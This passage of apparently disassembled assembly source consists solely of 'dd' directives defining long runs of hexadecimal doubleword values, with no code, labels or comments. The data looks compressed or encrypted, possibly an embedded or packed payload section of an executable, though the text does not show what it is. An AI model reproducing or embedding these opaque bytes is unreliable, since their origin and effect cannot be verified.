		dd 0AAADA5A8h, 0F04B3417h, 0C12C85A0h, 0D8E6A840h, 94241F8Ah
		dd 4B7662DCh, 66A6CC90h, 0B4D43D2Eh, 98765B51h,	4E41090Fh
		dd 0AE809B8Ah, 0DE286DA4h, 312AB052h, 0C1250C68h, 1DBC39AFh
		dd 0ACFB7BF4h, 0C6D80CC0h, 0B9D6ED3Eh, 0E569EA00h, 576EE89Ah
		dd 60B124A4h, 0C20741F8h, 80B9E865h, 3C2FC400h,	608A870Ch
		dd 0AFA11D4Fh, 385D405Fh, 121CB97Dh, 3946C10Ch,	2936E1AEh
		dd 0F1C8D2B4h, 4E118B1h, 44ED4FEBh, 5A9CD059h, 0A3A0514Eh
		dd 4B050DB9h, 0A501388Ah, 2F61FCE0h, 0B821BE93h, 258134F5h
		dd 7960477Ch, 9FA8488Fh, 0CDC06943h, 0E14B9C83h, 588FBEE9h
		dd 0BAE935CCh, 0FFB1D491h, 88F836C2h, 35850A05h, 4804D7E5h
		dd 0EA02C85Dh, 18707D4Ch, 240690F6h, 742E14A1h,	43381638h
		dd 0F1E005D9h, 0BA9CA08Eh, 0EB735702h, 80CE997Ch, 66390D38h
		dd 0F0035060h, 0AF41DE4Ah, 593A7400h, 8282A779h, 25E11A8Ch
		dd 72BF1310h, 380CB090h, 0C09D2C6Bh, 3544847Ch,	464C01D6h
		dd 90815D41h, 0BFB9486h, 20D46703h, 882087DFh, 0AACA9250h
		dd 83CA183Eh, 3050998h,	0FA355D7Ah, 0D3D04EE0h,	0B0A8B955h
		dd 77150D07h, 3FC5842h,	4C9C38F0h, 0E081AD8Eh, 0A850D109h
		dd 0E8C2ECA0h, 41B30CE0h, 2D20F307h, 818DD321h,	87EB1DFEh
		dd 0AC402A60h, 0DFBEFC26h, 0D6040058h, 0F11C48A5h, 0CD206640h
		dd 95E2F0A8h, 6709A804h, 3AFDA2CEh, 11CF31A8h, 20D4B4E2h
		dd 2D011236h, 38DC01A8h, 92B3CE65h, 148CF150h, 1A600BFDh
		dd 0F49CF441h
		dd 0B2F5FA30h, 90201BAh, 23C77559h, 4C10BC64h, 0ED06C4DDh
		dd 39CD8D03h, 0D5114F07h, 56D0852Eh, 248E8B16h,	0A743CB6h
		dd 16C0D1F2h, 0E39C1DF3h, 486D701h, 0DD183BEDh,	10FAE88h
		dd 6C4D687h, 78996E59h,	10486064h, 51C6CABBh, 9E0198C1h
		dd 689E7176h, 8C032F1Bh, 0A100D38Ch, 9766DBF1h,	90BA671Eh
		dd 6BDF00E4h, 57E77E78h, 5607B101h, 0A54DCAF0h,	35A81069h
		dd 0E83981C3h, 749A93D4h, 0A2698660h, 99C4C0E8h, 0D4CF0874h
		dd 0C5EDB406h, 1CA10B79h, 54117422h, 85886C35h,	0D0F4D08Ah
		dd 0D8964009h, 9D0638B8h, 0D9E64542h, 0EB020920h, 0C1DAFF7h
		dd 0BA80CE11h, 63390E6Dh, 7F198A03h, 0BCCD6A41h, 0B5760B4h
		dd 0BC2538BAh, 2107047h, 38CB3FCh, 0A523F744h, 0EBC0F145h
		dd 0EF4B6554h, 31F8F41Ch, 4BFD79D1h, 20CA3982h,	0A080B93Ch
		dd 9A732F76h, 708D349h,	0CC31320Dh, 0D4905074h,	4B4246C7h
		dd 0C8448E85h, 6B47C0CEh, 8F4B4B0Eh, 1C31B037h,	0DC526E42h
		dd 0ACA8C034h, 30CF4BE9h, 4F08B37Ch, 7C55362Eh,	5B003CA6h
		dd 157CED73h, 609095DDh, 0B246D11Dh, 1FCB86B1h,	2ECB8684h
		dd 8E10E604h, 0F22CF2ACh, 4AB8339Ch, 0CD3F388Eh, 30358003h
		dd 0EB711AC7h, 8BEE4A77h, 0C3B48814h, 46C859DBh, 0AB7C4389h
		dd 2344C812h, 983060A1h, 0E5C2027Fh, 0B3B5452Eh, 0CA8E7451h
		dd 18209234h, 499A884Bh, 2F5A28DEh, 0DC235Ch, 0AD1882BCh
		dd 4B05CA50h, 0E8E93877h, 0EF617C91h, 0B0F8B028h, 9F5008Ch
		dd 0C8261E4Ch, 1426E8BAh, 4E8204C2h, 0C8988566h, 5BCD1CE8h
		dd 7C0041DAh, 323ECABAh, 41760C94h, 30545959h, 0B1F17D9Ah
		dd 309649C7h, 62019CA0h, 6119DEB2h, 1883917Eh, 0D3F1364Bh
		dd 43776912h, 5D11503Eh, 425DF8BFh, 3CA1E0BFh, 0A9C89276h
		dd 0EDD84B0Ch, 0C5112C4Ch, 0CD0381E0h, 80B9F11Dh, 0AC69E110h
		dd 2F0AE55Ch, 78829D8Dh, 94A0C861h, 7A95DE79h, 8C89F601h
		dd 0F9CA6D90h, 0B5C5FDEDh, 5510987Ch, 0F11C50AEh, 86DE048Ch
		dd 62F3ED05h, 16AD20D7h, 4503A787h, 0BD3E2BE7h,	8BA1A973h
		dd 0BB009862h, 2E55C218h, 0E87A6FFDh, 6E3C67F6h, 391C5C70h
		dd 3858897Fh, 21A841A4h, 2A71EC64h, 3AE8C76Dh, 0C027F0D2h
		dd 0C8FA344Bh, 9CC2E304h, 0A11C9051h, 721A2D4Ch, 30D07C86h
		dd 8400FE5Ah, 213686F3h, 0BC9094D3h, 40F55616h,	6BAB46F4h
		dd 1B4D43C7h, 0E81D01B4h, 8060525Ah, 84207878h,	69017D13h
		dd 0E016E841h, 0E6303BF1h, 53D14A4h, 0AA1354A9h, 0E2AC21BAh
		dd 0C8D860C3h, 0C1E40980h, 3E4D8981h, 50023BD8h, 0D869452Dh
		dd 1B020038h, 97B02C5Bh, 5253683h, 7D04C8D2h, 12F894FBh
		dd 67688189h, 9D95F082h, 0E0B618C0h, 4D6DDF8h, 516E5786h
		dd 0D9A4B5C4h, 73FC64E9h, 0B04B1CEAh, 19F61801h, 0EC3016CCh
		dd 0D1781401h, 988048A3h, 42E45C1Bh, 43158840h,	0D1D099BFh
		dd 1B0B000Bh, 23245F60h, 8420A787h, 42D8464Bh, 50C3DAE8h
		dd 5452FF4Ch, 0AF05E84h, 89FC9C59h, 0D0C0C37Fh,	0CCEC7C57h
		dd 4EFC2195h, 602CFD46h, 9927A448h, 9691894h, 0BC400509h
		dd 0B5113433h, 6C8378D5h, 0CC714BB5h, 0B00FE48h, 0F25E534Fh
		dd 431E11B6h, 0E25098D1h, 90B4B2C5h, 1D7E79D9h,	0CDD22EC4h
		dd 0A369C73Dh, 4E1450C1h, 0AB2CB8Ch, 0D01A3860h, 0EED8C191h
		dd 2C0CA9A3h, 28D04DE4h, 7C38C070h, 3E3A8B4Ch, 41C178F1h
		dd 2E22CD5Ch, 0C70F0448h, 3AF75026h, 8E85A3F8h,	4DA41EFCh
		dd 81F8ACC1h, 90D8489Bh, 8E5A321h, 1CB84C30h, 0C09D7675h
		dd 0B3ACCFC2h, 830139B6h, 0EBE1F652h, 0DC6CB40Ah, 8CCFBCh
		dd 32022AABh, 621D4B24h, 94742095h, 30A4E3DAh, 0E631B8BDh
		dd 58096F1Ah, 60D24D4Bh, 25ED1F9Ch, 80EE57A4h, 80CF9D3Bh
		dd 2BBEE744h, 1253941Bh, 0C204C4C7h, 0B423C2DCh, 0D8D4EDFFh
		dd 0CFBCE0BCh, 0AA32018Ch, 45D54F50h, 0CF82C9Dh, 0B9803BCAh
		dd 0F22A18B3h, 0C1ED780Ah, 0E0B45880h, 0D7C78810h, 3B9BB60h
		dd 75320Eh, 0F912B1C4h,	94B53923h, 0A8819D4Ah, 8B12B93Eh
		dd 2018CFAh, 0AE38722h,	36219AFEh, 681718A5h, 0B80D891h
		dd 510DF11h, 0C9A0711Eh, 884AF6C0h, 48AD393Ah, 0B3123894h
		dd 1534087Eh, 0F95118C7h, 438083Ah, 0D4B0FEB1h,	39193842h
		dd 1749B4F1h, 9C22F5D5h, 0E4C06115h, 0EBA0007Eh, 0C30E7842h
		dd 0B414987Fh, 10F8BFC6h, 468FC4F7h, 354180C0h,	0C0B2E452h
		dd 7041F54Bh, 6DFA1CA9h, 1646B006h, 23FF253Ah, 0C611103Ah
		dd 75754Ch, 873205ACh, 0DCE61C94h, 306E409h, 0C81C26BBh
		dd 30C37F69h, 4681E5F2h, 8F596D8Eh, 3E3C783Ch, 11033196h
		dd 402F593Ah, 0DF0C4BE0h, 45337F67h, 9A4215Fh, 30052081h
		dd 96C41020h, 4B344363h, 0BC1F30FCh, 5060E22h, 8E02906Dh
		dd 6AC24ECBh, 1C86E829h, 40431962h, 1FBC1828h, 643A7760h
		dd 0B26E509Ch, 93F4260Eh, 2F8401Dh, 0A24AC71Ah,	0AE904038h
		dd 0BCA39FE6h, 0D8B8B470h, 99492461h, 774BC0D8h, 14259623h
		dd 0CE13AE4h, 0A45FD813h, 69147D84h, 0A727BDh, 4254CF07h
		dd 10447Ch, 22823A7Ah, 80A88E1h, 0D95AEB7Eh, 6AF82807h
		dd 23B511Ch, 0AC0E72C4h, 10D6E3C5h, 30431E1Ch, 0F8694245h
		dd 1CA39436h, 0C0606204h, 226CB8D0h, 0EF00E17Bh, 0CDF51DF6h
		dd 978D017Ch, 0A9B95C06h, 0BE4AE411h, 0FC024C78h, 4343817h
		dd 1EDD3AF8h, 1ABD441Fh, 0F110C84Eh, 0BF9DF0E8h, 84A7F884h
		dd 7285AC21h, 8D23201Ch, 74172589h, 0DE8FB291h,	0C6F931A1h
		dd 6407949h, 0B3E150DAh, 863809E0h, 12412h, 6BB8277Ah
		dd 5FEA3420h, 0F138001Ah, 1502F762h, 2D0E8699h,	0A03C7EBDh
		dd 184B2533h, 0B8AB559Ah, 0D4045422h, 0E4D290AEh, 4A783ACh
		dd 232B04E0h, 2FE71CE5h, 0C3E9C00Dh, 14E1EEACh,	0F8ED1214h
		dd 1D0480Ch, 1302E4ECh,	531ABE5h, 252F1883h, 0FC5D3E3h
		dd 128FE491h, 0FF81E18Fh, 0EB1ED5D8h, 212D0203h, 0A713EAECh
		dd 0FEC3D630h, 1BD33FE0h, 28DFF499h, 817F4E6h, 1AD2E70Fh
		dd 1EB76E16h, 0D6104070h, 1BF30E98h, 0C320EE25h, 0D5D4E6FCh
		dd 87CD6938h, 0B798E3B6h, 0CB0C04CAh, 7C1380E8h, 0AFE000F3h
		dd 0C2D80C0Ah, 1563EA98h, 0C6131A79h, 2CF1F371h, 0E16E18BAh
		dd 86082A2Ah, 1813E0ECh, 2011F80Ah, 803638A1h, 1EF10188h
		dd 14E0F312h, 0E3E60016h, 0B9D60FA5h, 1E830368h, 0F583EB23h
		dd 0C39C3814h, 0C240669Bh, 7F0BE00Ah, 0F0F7B07h, 1FDEB7FDh
		dd 11F3CCA0h, 0FA33E6E7h, 0A3B8E1B5h, 0CD6AF8A4h, 0B017FE07h
		dd 0B00E2A6Dh, 500F33Ch, 10081AD0h, 50C30A01h, 2FECF0C0h
		dd 0F415B71Ah, 0F3C1020h, 0E9E13EB4h, 0C0A4857Ch, 0C7093904h
		dd 0C98464E8h, 0AC0512B9h, 20AC8B64h, 0E018848h, 86A9E70h
		dd 66828E0h, 745DA4D7h,	2DD0B019h, 40642046h, 8E1F2310h
		dd 0AC49305Ch, 496FDA18h, 0A02F6E5Bh, 56180191h, 0BC29D7D1h
		dd 0B2E45916h, 2C582884h, 60CA88BAh, 0A40450D4h, 0B741643Dh
		dd 29C82A31h, 0E41D1674h, 3F28ECB2h, 0B1F4B42Ch, 119C6260h
		dd 7C403686h, 4BFD4E5Ah, 3D504AABh, 77583268h, 4475EE11h
		dd 91A7B888h, 9F11B786h, 0F1948059h, 888043ABh,	7080701Fh
		dd 3854448Dh, 53648D88h, 48858C38h, 0D1F5C20Ch,	0C8238C02h
		dd 2D1D43F4h, 7091DCAEh, 0CCF01435h, 0F6C7899Ah, 0F143E8DEh
		dd 3902DC20h, 0E8E9AB86h, 54453A9Ah, 10F254E8h,	28CFF118h
		dd 941E42E3h, 704B3A9Bh
		dd 0AAB068B2h, 0F54486DEh, 7D46194Eh, 0E40280CFh, 8C9E380Ch
		dd 78AC5C15h, 24715928h, 0EAF3870Bh, 4B4C05C2h,	1C06985Eh
		dd 1F88CD51h, 42B06046h, 2F013AC7h, 3D0AB0AFh, 43200040h
		dd 0ECA04F10h, 44A30491h, 5488FC10h, 3E44DCA9h,	0C44CE0B9h
		dd 58CB5111h, 0A0DF22E0h, 88206448h, 91D9333Dh,	7B0C5418h
		dd 216C4386h, 505C912Bh, 0EA8C191Ch, 9F4891E5h,	0F2631692h
		dd 0E2E0C39Ch, 83402397h, 66CB9504h, 9C413C89h,	8607BB15h
		dd 51201058h, 194B09C8h, 7CD90A03h, 6318D871h, 1D3A8B00h
		dd 0F7ABF8A1h, 3170008Eh, 1602D9A9h, 0A4B634Fh,	81C030DAh
		dd 0B4C69D0Eh, 58D029FFh, 6271011Ch, 37B4E44h, 11143B6Eh
		dd 0B5F87FB5h, 0FCE47F42h, 0F88E8064h, 5F6F9DEh, 0F374433Eh
		dd 2FB402E5h, 38DEEE11h, 55C900D6h, 12C72437h, 730B0490h
		dd 7A8D025Ch, 0D8500380h, 0DBB2A0A6h, 0DC326CA1h, 0FE0B3F8Ch
		dd 0A66BB616h, 1CA16FA0h, 4042D127h, 19EC9091h,	7900EBB9h
		dd 0C0C97F1Eh, 55CEC55Eh, 0C6FA884Bh, 4126696Ch, 0B7709CFBh
		dd 909722h, 0D100AF72h,	0A6241529h, 0F1C9D8Ah, 88A82DA9h
		dd 6F091600h, 0C64E228Dh, 0C00EB848h, 411960FCh, 580EC43h
		dd 7CE660F5h, 800D983Bh, 0D7A2625Eh, 5B844BDAh,	191C8873h
		dd 4ED33D00h, 807F1D99h, 9482B7C4h, 0CA02A1ECh,	42747E20h
		dd 0C07143C8h, 9FB44625h, 3E296894h, 89198C6h, 0A871180h
		dd 0B09C0BEDh, 309C458h, 92ED1F87h, 0FAB81D56h,	5A183B93h
		dd 5371CA61h, 0B1770370h, 46C80804h, 2BEC3D88h,	8D074C0Ch
		dd 6B71E1CEh, 0DCF03117h, 36893402h, 6EB7059h, 10E99875h
		dd 0A92B3Eh, 0F3EF2465h, 19DEA5F0h, 0A146200Ch,	5A9BB057h
		dd 0C804CBA3h, 867AC0CCh, 81BDD9BDh, 0EE5AE58Ch, 908E21AFh
		dd 0DBD0D993h, 944CB2E2h, 0DB430805h, 58EC0740h, 42F006B0h
		dd 0ED215507h, 1FE0B2BFh, 4C4E9B6Ch, 0D7E8447Fh, 4A768Ch
		dd 204FF118h, 0EB76FF44h, 0A2896700h, 64CAB98Ah, 0E097BF34h
		dd 3F80CF91h, 738A14E3h, 909F6CB0h, 9CE593F8h, 0F91C2924h
		dd 0FE918DBh, 0B9CF5FA5h, 750C82E0h, 47480639h,	0CD60196Fh
		dd 0D9C46871h, 1A672C6h, 0A7B2E5C5h, 6017CB1Ah,	6C926C78h
		dd 0D0C47085h, 0B2A6F067h, 7E076352h, 5EF2F0Bh,	0E4ACE5D9h
		dd 0EEDF60CEh, 0C47C01E8h, 0CACBA311h, 14446E22h, 44A94676h
		dd 39601358h, 0A0B4C981h, 9C555D00h, 91A47379h,	0BBE700CFh
		dd 5B61BC95h, 28BC0FB0h, 4454C725h, 285C60CDh, 0C77013B5h
		dd 4410623Ch, 3EB42481h, 739CF088h, 0C527709h, 0B39080EBh
		dd 0C01042EAh, 0C46DCAB9h, 7B3E59B9h, 192832EDh, 9C47946h
		dd 0ECE2D781h, 465E845Ch, 78AE00CFh, 91018C86h,	7D8909B4h
		dd 880F8E7h, 4438F999h,	0AD162CB0h, 0AC6F7CFFh,	11AA427Ch
		dd 8A9A5D7h, 9A467620h,	1A7E2200h, 3909D3BEh, 0AE1E7106h
		dd 0F0B899F4h, 6BCF0F61h, 4209AF84h, 5D0084F9h,	0DC8CE924h
		dd 87DA0052h, 922021ECh, 8D4F03FAh, 0B8EB44D0h,	561771Ch
		dd 26D77D6Bh, 39EBC0ABh, 15076875h, 0E2EBBB6h, 0E87E6283h
		dd 337DD8D9h, 2340F4AAh, 46744EB8h, 7298190Fh, 1BF8E7FBh
		dd 209DD6h, 0AB57303h, 17F56305h, 5AFE530Bh, 5CF9EDh, 78758EBAh
		dd 0AE0FBFBCh, 2FB90125h, 8B4E6497h, 95620AC0h,	0D910001Ah
		dd 6EF66763h, 77000E17h, 7804D899h, 0C9228Fh, 7D64CB3Bh
		dd 8A4F603Ah, 0EC94E3E8h, 0C0BE0843h, 483D1h, 99386E7Ch
		dd 3BB0DB75h, 813A603Ch, 0A89545BCh, 2B30E68Ah,	22AA1C82h
		dd 176052Eh, 0B8B227h, 7B90F12Dh, 0F98949h, 819A46F2h
		dd 873444C7h, 216970C0h, 2B53711h, 24E0CB4Ch, 4976A46h
		dd 60ECF514h, 7A98410h,	4E401B4Dh, 0C52173h, 0AD81C80h
		dd 353EE739h, 914F1BEDh, 8E13C820h, 482D6EE2h, 830C207Eh
		dd 28E935E3h, 73E58761h, 8E0A5030h, 6B4E30E1h, 0F1BA3E21h
		dd 0D391CA01h, 0F0735FA3h, 0D45C188Ch, 4A600839h, 72FFA341h
		dd 0AD18C1D0h, 86CB0DB9h, 5CC03538h, 40BA0051h,	98D4290Ch
		dd 1430E5F4h, 0A93784ACh, 0BC45035Fh, 0CCC234A0h, 1BFA9106h
		dd 3A143E9h, 4DE5F0ADh,	4CC8BD65h, 0D0188D2Ch, 0DD214FBFh
		dd 2519000Bh, 1AABD642h, 18C069E9h, 40796A76h, 35AF02Eh
		dd 0D3969373h, 14B32974h, 6C0B38E0h, 699E400h, 0B7A28854h
		dd 0DDBB0C8Ah, 75088767h, 0AA9E8312h, 2C210C00h, 57A0D02Ah
		dd 0AA074C2Eh, 0C2024623h, 0E091A23Fh, 1106112Eh, 6D7E4886h
		dd 340F001h, 0EF2D88ABh, 0BF53ACA8h, 0BC13E00h,	0D6CBC039h
		dd 60297F09h, 0A86A48FAh, 9968EEBEh, 0AD40E020h, 0E83C4CAFh
		dd 34E1304Bh, 45CC5518h, 0CB21BA67h, 0BD4F4C81h, 6A317182h
		dd 888F88FBh, 8C48470Ch, 0E906D97Bh, 0CC5C0540h, 0A48D0171h
		dd 0A0CF7378h, 0FD00D296h, 169B853h, 0D3EE23D0h, 80DC5B46h
		dd 0EDB9B4C1h, 751AB74h, 0D9948405h, 209C4A2Ch,	0BD6C0258h
		dd 90C33495h, 9EBE90A3h, 0A0881022h, 0EAD7110h,	0BBB9187Fh
		dd 0C6E43B24h, 6E90C14Ah, 69FC6574h, 15742E49h,	0BCDC84h
		dd 511B0475h, 3303A606h, 0A79361Ah, 0F4F298C0h,	0E7ABF300h
		dd 0BA37B1DBh, 9C8504EDh, 827B2D7Ah, 0AD204D2Ch, 748B8336h
		dd 0E98100D9h, 0AE272226h, 0F5307416h, 93D8D132h, 0E1370036h
		dd 38B37DF6h, 6C32B9F4h, 487A2123h, 8960BF1Ch, 8488472Dh
		dd 36E74258h, 1BEE608Bh, 0C23514EDh, 0ADC4D49Ch, 15A884C7h
		dd 3A8F6028h, 0B721A92Ch, 24E6C22Ch, 0A2372C03h, 0BB1905A8h
		dd 414C5C7Dh, 76BF51D0h, 0AD2020A5h, 313FAEC0h,	2C92765h
		dd 977BF0AEh, 14B0BD60h, 0C228BB24h, 0F58130E2h, 2C61BECAh
		dd 183E7704h, 1E69685Bh, 12F100B9h, 3D2E9254h, 0FE7E3867h
		dd 0F7E9706h, 29E85Ch, 71963EE0h, 0AE7FFB9Dh, 0C434F709h
		dd 87041164h, 280B6831h, 8E3E30C2h, 1474381Dh, 2C8E9571h
		dd 4F381705h, 0C1C05FC6h, 0F6295725h, 0EC6180D6h, 3EC691CCh
		dd 3607090Ch, 1C117BE9h, 2840C62h, 0AF0DD88Bh, 9882463Bh
		dd 0A810D621h, 182183DEh, 0DA388859h, 70317144h, 0D55D01DDh
		dd 1B843062h, 0E6CC91BDh, 0FCCA2105h, 8900E2CFh, 0B94D35C1h
		dd 0A04EDCC2h, 8327332Ch, 693D2DE0h, 78902449h,	54102B00h
		dd 523C3A7Ah, 28D560D0h, 0EEA3FAA1h, 0A05A40D8h, 0E681C728h
		dd 0B32540DDh, 20C14184h, 38FFF613h, 0E5AB9D00h, 0E7E2E409h
		dd 0D3AC80C2h, 2F71E75h, 0BF560C41h, 78C0E315h,	0BD2420ADh
		dd 3B3C93h, 561035F5h, 333D4492h, 9E89EFBAh, 0A9825106h
		dd 0F431B0F0h, 88B218B6h, 5A3B8036h, 95302B14h,	10207C9Ch
		dd 6A690947h, 78819C9Fh, 8064C2FEh, 0C8905B1h, 0E4E5246Eh
		dd 3DB02913h, 7C2B0C94h, 0F63C2530h, 99F31A3Bh,	1DB48210h
		dd 9B180C72h, 2E199840h, 0D40C73A6h, 5B170486h,	18443E8Fh
		dd 9C0242E1h, 9480E6BEh, 27D2704Fh, 3828DBEAh, 0F5018090h
		dd 0E0672B28h, 21CF479Bh, 83086429h, 1C91AEh, 2DAC53CAh
		dd 0F4B838h, 70042F95h,	3D759419h, 0ED269100h, 1B7786C2h
		dd 89C100D6h, 43471866h, 8700BFCFh, 0F04855DAh,	78806Fh
		dd 0AD8F86D2h, 0D72E68E5h, 437B4100h, 0A0711934h, 7DFDE01Eh
		dd 33381B21h, 0E6C756B2h, 7200F19Fh, 8A0D715Fh,	7521027h
		dd 41EF48C5h, 0B628707Dh, 0C203AD0Bh, 78408E99h, 1507EA5h
		dd 1FA7C43Ch, 0C8E6677Bh, 303C92Ah, 23B335DDh, 2851C7E4h
		dd 0C85092E3h
		dd 71EE9F3h, 0F9B158D9h, 0C981F02Eh, 1A0099A9h,	0CA6A8771h
		dd 596BFAh, 0CF078FB1h,	5BA4339Ah, 16603D60h, 48707Eh
		dd 37A3DFD0h, 0D3E3EAD2h, 0F8F7C030h, 8C18D8h, 3A1BB11Dh
		dd 0CFA0EDA4h, 808B9B3Ah, 71534EA8h, 0F5D1496h,	33A9E2C7h
		dd 50F8D2E0h, 8500A395h, 3B33E67h, 74B6E9h, 15F6823Bh
		dd 0AF8393E8h, 26139A00h, 344C73A7h, 6688005Dh,	1DA27631h
		dd 4403CE2Fh, 5383A95Ah, 395D850h, 88CA505Eh, 37860032h
		dd 39AAACFFh, 6218226Fh, 0C840A88Fh, 0DAC7002Fh, 24DDC226h
		dd 2009D06h, 56084054h,	3053BEBh, 85A16897h, 0BF06B87h
		dd 0B858DDB5h, 18007574h, 0D2F8199Fh, 17B6509h,	36B6D647h
		dd 0C84BB356h, 0D700CB31h, 7C1A9027h, 1C2456Fh,	34B14C69h
		dd 0C9E3B2ECh, 4A8EFCBEh, 0C3282500h, 40E639E5h, 34F4002Dh
		dd 665AF59Eh, 11C0A0BDh, 7B6FBF2Ah, 52B11EEEh, 0AC27C072h
		dd 0A5CC3851h, 0A4966724h, 55202D80h, 7943BDCDh, 3F6F00EBh
		dd 86B9407Fh, 3D780309h, 0F907A77Fh, 0E45657E5h, 83875E0h
		dd 0D97A003Bh, 25AC3DEh, 0BD03012Fh, 0D79AA717h, 0E054F3BBh
		dd 0D8F4FB7h, 45491C60h, 4A74070h, 2F0FDFC6h, 0C0588E8Bh
		dd 60DBF208h, 4F8800D5h, 0EEFF1BE5h, 3A000E82h,	0BF307E12h
		dd 58F7C3AAh, 9F00481Fh, 0E0187867h, 30FBED09h,	0E6026875h
		dd 5FBA7A20h, 0A4644075h, 70E93AFCh, 3C3B9003h,	74D07185h
		dd 5001357Bh, 8C172B22h, 0CDD861EDh, 44800904h,	7C03DE0Dh
		dd 80DCB3A2h, 0A6E9E5B4h, 0C8933209h, 9DDE66h, 0D0E0577Ch
		dd 7000B768h, 0EF2F6D3Fh, 305A4103h, 0CF389F9Ch, 0D1017855h
		dd 9D867B36h, 1880A2C0h, 0FFD076A7h, 620054BDh,	0D1735BDEh
		dd 0A63995h, 36A79CA4h,	3DF9CDB9h, 30F8E703h, 0D061E851h
		dd 7DBA9E08h, 0AC560022h, 0C6EE3DF5h, 0C7007812h, 81041F2Fh
		dd 7D44EB8h, 1EBDAF1Ch,	0C5FA109Ah, 884B96D7h, 6C93A807h
		dd 0F01F0650h, 97CD00CBh, 1C3248DCh, 0C9001521h, 3B5BA18Eh
		dd 4D432Fh, 70BE51FAh, 3706EB7Eh, 6E21E01Ch, 57B827C0h
		dd 0FB2DC9A0h, 26C080D2h, 3DBBA60h, 0E228F692h,	0B6D0CABEh
		dd 0B014072h, 0C341DFA0h, 67D8355Ch, 582C007Eh,	0F183AD73h
		dd 0DA00ED6Ch, 0EB929846h, 40274ADFh, 8C02F4BBh, 39627694h
		dd 80306079h, 91B0D6h, 4AD2FD13h, 0E3CA2CD7h, 90ECF804h
		dd 75C0A398h, 9103F63h,	6C69373Bh, 0DD0A6B80h, 0A30199D0h
		dd 0B3728D0Ch, 860DFE0h, 0F1621797h, 0DA540025h, 0FEEBC06h
		dd 0D4AE81C1h, 70C81B3Fh, 0AF91807Ah, 3EA00A00h, 531C14A9h
		dd 15C70732h, 0F04AC093h, 0E3490F5Dh, 0B81FFC7Ch, 0A003BCFh
		dd 1F6CA8F7h, 0E7891348h, 295A0002h, 8AFB68F9h,	4E91B800h
		dd 0F84627BFh, 2D24076Ah, 90E80342h, 0A82FBE3Bh, 52AF6350h
		dd 0F84EFE0Fh, 0E089AFF5h, 0B4251DDh, 8DA7005Ah, 0CD07E188h
		dd 32009B4Dh, 68BC2216h, 92A6347h, 35D4A0E0h, 690DDC80h
		dd 0BD307858h, 0ECBB1034h, 0AB5C0076h, 216CE74Ch, 643B6B66h
		dd 0B02E00D0h, 0D7993929h, 1D87D92h, 0CD337CD1h, 0CE0D5723h
		dd 0BE3A9E60h, 0C06AF300h, 46672806h, 4BB1005Ch, 152ADCC8h
		dd 0EB009924h, 49430C2h, 3CC3B7h, 80056479h, 8958F549h
		dd 0E326FD00h, 0EEA8E5DEh, 0EA3E008Eh, 20561C1Eh, 4800C4ABh
		dd 8A682C9Eh, 0F3847D77h, 10A48C64h, 0B6725Fh, 3762C029h
		dd 0C1B97A0Ah, 72601221h, 39DC09B7h, 5EA3004Eh,	4F23DDA4h
		dd 0B4280F6Bh, 3D03F06Eh, 42ED36C3h, 1E9AE87Ch,	0E0870093h
		dd 84589885h, 1A00A5CFh, 0D5A4306Bh, 1FA2A082h,	0EE2F0E01h
		dd 401F168Ah, 4C022A4h,	16008995h, 5AB52DCDh, 0A59235h
		dd 1E26B1DDh, 8E7D3C5Fh, 0E50093FCh, 3F2938BAh,	0EE3BC102h
		dd 0B948006Ah, 115F133h, 0CB018399h, 587D2B3Ah,	0DC322A3Dh
		dd 944F216h, 10807AE3h,	5E3C053Fh, 95E61A05h, 0C4538307h
		dd 0D0063040h, 67685BDh, 75FCDBEEh, 0E41FC859h,	134091ABh
		dd 2596800Ah, 89EA3B08h, 7FED01F9h, 4C78F1D6h, 0DEC07439h
		dd 67089D13h, 0AF904001h, 7820A7EDh, 792C0052h,	0C37E7AFEh
		dd 5B000380h, 488FBAFAh, 0E01B42A0h, 0FFCB0027h, 0B6143098h
		dd 4B097412h, 91D99Ch, 43AFA1D4h, 50215957h, 92EE4209h
		dd 0B3EF6500h, 613B8874h, 0FAAF0312h, 0D7B02448h, 0CEC19FE0h
		dd 80516E94h, 0F24ECAA0h, 55751BA0h, 0A5D01500h, 71A64DC6h
		dd 6E950CAFh, 246041E2h, 0E95DC500h, 84D631BDh,	19D1F9BBh
		dd 30F462D0h, 0A1893FA9h, 67096F4Ah, 0E07A258h,	81048E49h
		dd 0ED34C703h, 1B6B8C50h, 0D4F10242h, 0DD3CDA40h, 1FDB97C0h
		dd 0E6937200h, 0F464A383h, 382CF6EEh, 0B8A6FBF3h, 36C7816Eh
		dd 0D819BE67h, 0DD000C56h, 4DE20D84h, 2F3F772h,	37EB5B06h
		dd 42C1B1E9h, 0B4C02B93h, 0A53FFD3h, 0ACF4A230h, 0C7740058h
		dd 79684C9Fh, 0B5450F01h, 0E91BBB83h, 1D8CAAE0h, 0C00D9748h
		dd 4CBFA989h, 9318AF74h, 3F4120EAh, 0C190A842h,	884C186Fh
		dd 0C38C5045h, 0F5782F50h, 672E7000h, 0D14798E0h, 0D241004Fh
		dd 60ADB92Bh, 0A8B8EBBDh, 0B3F47B24h, 38EAB10Ch, 0DC28EF5Bh
		dd 0BDBB8801h, 801BD391h, 0CE24E10Ch, 1E6626h, 3C495B2Ch
		dd 62756A3Bh, 9C29BC64h, 12637221h, 0BA8010DDh,	80724088h
		dd 0A8B8843Eh, 10AC800h, 8D55F159h, 997400EEh, 1B5A52F5h
		dd 0C972E970h, 0FB003690h, 462B5533h, 17E77FCh,	0F7E184AFh
		dd 0F4B55134h, 3C48FFBBh, 149C00C4h, 4416671Ah,	6E3B02D6h
		dd 0EA839EB0h, 3425A052h, 7D80121h, 7DC01D09h, 5BAE00D8h
		dd 55E712E2h, 4A0089A3h, 9374EBCFh, 948090B9h, 5FA605DCh
		dd 774CC0B3h, 583CD8C0h, 48C35831h, 8FB70044h, 6B369774h
		dd 2960036Eh, 0C5D39FE1h, 750F2801h, 4BF5F9Bh, 7F4B7CC0h
		dd 4EF495h, 7A2739E6h, 83D321BEh, 96444300h, 4D508F4Ch
		dd 0F7351EA0h, 5BCD00CBh, 0F3F26B8Ah, 0E8D61F24h, 29408500h
		dd 39D7E4CFh, 0C5801C53h, 5E0B2A4Eh, 0C200EF28h, 0EEE16FACh
		dd 144B0Ch, 12075275h, 0AEFDFF66h, 91B79500h, 28B2DCA5h
		dd 4D0E1FC7h, 5F210FF3h, 816FAF04h, 0E42C0638h,	720010BAh
		dd 3E7931A8h, 0FCC615h,	0A24A9DC0h, 0C2011843h,	8A1C77E4h
		dd 817B9C63h, 568025CDh, 0EFC4AC57h, 6D3A02BCh,	3BE7232Eh
		dd 0CD04D880h, 76056B9Dh, 98DF61A8h, 38CCB040h,	78312EEh
